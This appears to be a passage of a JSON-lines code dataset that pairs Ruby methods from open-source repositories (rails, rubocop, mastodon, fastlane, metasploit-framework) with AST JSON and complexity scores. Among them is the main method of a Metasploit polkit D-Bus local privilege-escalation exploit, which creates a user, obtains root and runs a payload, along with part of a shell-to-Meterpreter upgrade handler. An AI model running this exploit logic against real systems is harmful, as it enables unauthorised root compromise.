null,\"target_uri\"]},\"path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"spip.php?page=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]}]},{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"//input[@name='formulaire_action']/@value\"]}]},\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"at_xpath\",{\"type\":\"str\",\"children\":[\"//input[@name='formulaire_action_args']/@value\"]}]},\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found formulaire_action: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found formulaire_action_args: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[20]}]}]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"bde57f48-bb6c-45f9-a748-dfd3d4e3de00"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/source_annotation_extractor.rb","start_line":49,"raw_source":"def annotations(file)\n          contents = File.read(file, encoding: Encoding::BINARY)\n          parser = Parser.new(contents, pattern: pattern).tap(&:parse)\n          parser.error? ? [] : parser.comments\n        end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"annotations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contents\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"encoding\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"BINARY\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pattern\"]},{\"type\":\"send\",\"children\":[null,\"pattern\"]}]}]}]},\"tap\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"parse\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"error?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"comments\"]}]}]}]}","id":"f63eda66-f8e2-4b68-841a-241e84fcf1a5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/polkit_dbus_auth_bypass.rb","start_line":367,"raw_source":"def exploit\n    fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')\n    fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')\n    if datastore['TIMEOUT'] < 26\n      fail_with(Failure::BadConfig, \"TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.\")\n    end\n\n    if @cmd_delay.nil?\n      # cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,\n      # likely cause the check method wasn't executed. Lets set it so long.\n\n      # Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit\n      @cmd_delay = get_cmd_delay\n      fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?\n    end\n\n    print_status(\"Attempting to create user #{datastore['USERNAME']}\")\n    loop_sequence = get_loop_sequence\n\n    fail_with(Failure::BadConfig, \"The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.\") unless exploit_set_username(loop_sequence)\n    uid = cmd_exec(\"id -u #{datastore['USERNAME']}\")\n    print_good(\"User #{datastore['USERNAME']} created with UID #{uid}\")\n    print_status(\"Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}\")\n    if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)\n      print_good('Obtained code execution as root!')\n      fname = upload_payload\n      execute_payload(fname)\n    else\n      print_error(\"Attempted to set the password #{datastore['Iterations']} times, did not work.\")\n    end\n\n    print_status('Attempting to remove the user added: ')\n    if exploit_delete_user(uid, loop_sequence)\n      print_good(\"Successfully removed #{datastore['USERNAME']}\")\n    else\n      print_warning(\"Unable to remove user: #{datastore['USERNAME']}, created during the running of this module\")\n    end\n  end","complexity_score":68.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"su\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to find the su command which this exploit depends on.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_exists?\",{\"type\":\"str\",\"children\":[\"dbus-send\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotFound\"]},{\"type\":\"str\",\"children\":[\"Failed to find the dbus-send command which this exploit depends on.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]}]},\"<\",{\"type\":\"int\",\"children\":[26]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cmd_delay\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cmd_delay\",{\"type\":\"send\",\"children\":[null,\"get_cmd_delay\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cmd_delay\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.\"]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to create user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loop_sequence\",{\"type\":\"send\",\"children\":[null,\"get_loop_sequence\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit_set_username\",{\"type\":\"lvar\",\"children\":[\"loop_sequence\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" was unable to be created. Try increasing the ITERATIONS amount.\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uid\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"id -u \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\" created with UID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to set the password of the newly created user, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\", to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit_set_password\",{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[null,\"create_unix_crypt_hash\"]},{\"type\":\"lvar\",\"children\":[\"loop_sequence\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Obtained code execution as root!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[null,\"upload_payload\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_payload\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempted to set the password \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Iterations\"]}]}]},{\"type\":\"str\",\"children\":[\" times, did not work.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to remove the user added: \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exploit_delete_user\",{\"type\":\"lvar\",\"children\":[\"uid\"]},{\"type\":\"lvar\",\"children\":[\"loop_sequence\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully removed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to remove user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\", created during the running of this module\"]}]}]}]}]}]}","id":"447d3722-944a-43f3-b4b7-b4a49484f7a9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/single_line_methods.rb","start_line":139,"raw_source":"def disallow_endless_method_style?\n          return true unless config.cop_enabled?('Style/EndlessMethod')\n\n          config.for_cop('Style/EndlessMethod')['EnforcedStyle'] == 'disallow'\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disallow_endless_method_style?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"cop_enabled?\",{\"type\":\"str\",\"children\":[\"Style/EndlessMethod\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"for_cop\",{\"type\":\"str\",\"children\":[\"Style/EndlessMethod\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"EnforcedStyle\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"disallow\"]}]}]}]}","id":"db265332-2b1d-4d0b-8202-bd3bef73a870"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/preview_card.rb","start_line":83,"raw_source":"def appropriate_for_trends?\n    link? && article? && title.present? && description.present? && image.present? && provider_name.present?\n  end","complexity_score":20.5,"ast_json":"{\"type\":\"def\",\"children\":[\"appropriate_for_trends?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link?\"]},{\"type\":\"send\",\"children\":[null,\"article?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"provider_name\"]},\"present?\"]}]}]}","id":"316dd65d-7ee0-40db-b751-69d163b99386"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/shard_keys_test.rb","start_line":67,"raw_source":"def test_connects_to_sets_shard_keys\n      assert_empty(ActiveRecord::Base.shard_keys)\n      assert_equal([:shard_one, :shard_two], ShardedBase.shard_keys)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_connects_to_sets_shard_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"shard_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"shard_one\"]},{\"type\":\"sym\",\"children\":[\"shard_two\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ShardedBase\"]},\"shard_keys\"]}]}]}]}","id":"d502a0e4-0e1d-4da7-b48f-0483b84a73ac"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb","start_line":360,"raw_source":"def cleanup_handler(listener_job_id, aborted)\n    # Return if the job has already finished\n    return nil if framework.jobs[listener_job_id].nil?\n\n    framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do\n      if !aborted\n        timer = 0\n        timeout = datastore['HANDLE_TIMEOUT']\n        vprint_status(\"Waiting up to #{timeout} seconds for the session to come back\")\n        while !framework.jobs[listener_job_id].nil? && timer < timeout\n          sleep(1)\n          timer += 1\n        end\n      end\n      print_status('Stopping exploit/multi/handler')\n      framework.jobs.stop_job(listener_job_id)\n    end\n  end","complexity_score":46.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"listener_job_id\"]},{\"type\":\"arg\",\"children\":[\"aborted\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"jobs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"listener_job_id\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]},\"spawn\",{\"type\":\"str\",\"children\":[\"ShellToMeterpreterUpgradeCleanup\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"aborted\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timer\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HANDLE_TIMEOUT\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting up to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"str\",\"children\":[\" seconds for the session to come back\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"jobs\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"listener_job_id\"]}]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timer\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timer\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Stopping exploit/multi/handler\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"jobs\"]},\"stop_job\",{\"type\":\"lvar\",\"children\":[\"listener_job_id\"]}]}]}]}]}]}","id":"98828a70-5ab4-44c8-b661-6d3d2ce8ac66"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/symbol_proc.rb","start_line":272,"raw_source":"def allow_if_method_has_argument?(send_node)\n          !!cop_config.fetch('AllowMethodsWithArguments', false) && send_node.arguments.any?\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_if_method_has_argument?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"send_node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"AllowMethodsWithArguments\"]},{\"type\":\"false\",\"children\":[]}]},\"!\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_node\"]},\"arguments\"]},\"any?\"]}]}]}","id":"0ee4acf5-335a-4fa1-8164-42acda36589a"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/get_managed_play_store_publishing_rights.rb","start_line":74,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :json_key,\n                                       env_name: \"SUPPLY_JSON_KEY\",\n                                       short_option: \"-j\",\n                                       conflicting_options: [:json_key_data],\n                                       optional: true, # optional until it is possible specify either json_key OR json_key_data are required\n                                       description: \"The path to a file containing service account JSON, used to authenticate with Google\",\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:json_key_file),\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         UI.user_error!(\"Could not find service account json file at path '#{File.expand_path(value)}'\") unless File.exist?(File.expand_path(value))\n                                         UI.user_error!(\"'#{value}' doesn't seem to be a JSON file\") unless FastlaneCore::Helper.json_file?(File.expand_path(value))\n                                       end),\n          FastlaneCore::ConfigItem.new(key: :json_key_data,\n                                       env_name: \"SUPPLY_JSON_KEY_DATA\",\n                                       short_option: \"-c\",\n                                       conflicting_options: [:json_key],\n                                       optional: true,\n                                       description: \"The raw service account JSON data used to authenticate with Google\",\n                                       code_gen_sensitive: true,\n                                       default_value: CredentialsManager::AppfileConfig.try_fetch_value(:json_key_data_raw),\n                                       default_value_dynamic: true,\n                                       verify_block: proc do |value|\n                                         begin\n                                           JSON.parse(value)\n                                         rescue JSON::ParserError\n                                           UI.user_error!(\"Could not parse service account json: JSON::ParseError\")\n                                         end\n                                       end)\n        ]\n      end","complexity_score":26.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"json_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SUPPLY_JSON_KEY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-j\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_key_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The path to a file containing service account JSON, used to authenticate with Google\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"json_key_file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find service account json file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"json_file?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"' doesn't seem to be a JSON file\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"json_key_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"SUPPLY_JSON_KEY_DATA\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"short_option\"]},{\"type\":\"str\",\"children\":[\"-c\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The raw service account JSON data used to authenticate with 